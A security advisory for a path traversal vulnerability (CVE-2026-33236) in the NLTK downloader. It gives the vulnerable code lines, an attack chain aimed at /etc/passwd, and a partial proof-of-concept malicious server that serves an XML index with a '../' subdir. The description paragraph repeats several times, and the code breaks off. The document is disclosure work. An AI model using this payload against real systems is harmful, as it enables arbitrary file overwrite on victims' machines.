CVE-2026-33236

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
2. Arbitrary File Creation: Create arbitrary files
3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253)

self.filename = os.path.join(subdir, id + ext)

• subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679)

filepath = os.path.join(download_dir, info.filename)

• Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687)

os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)

• Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695)

with open(filepath, "wb") as outfile:

• Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!

Impact Scope

1. System File Overwrite

Reproduction Steps

Environment Setup

1. Install NLTK

pip install nltk

2. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server

python3 malicious_server.py

Step 2: Run exploit script

python3 exploit_vulnerability.py

Step 3: Verify results

ls -la /tmp/test_file.zip

Proof of Concept

Malicious Server (malicious_server.py)

#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
           …

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.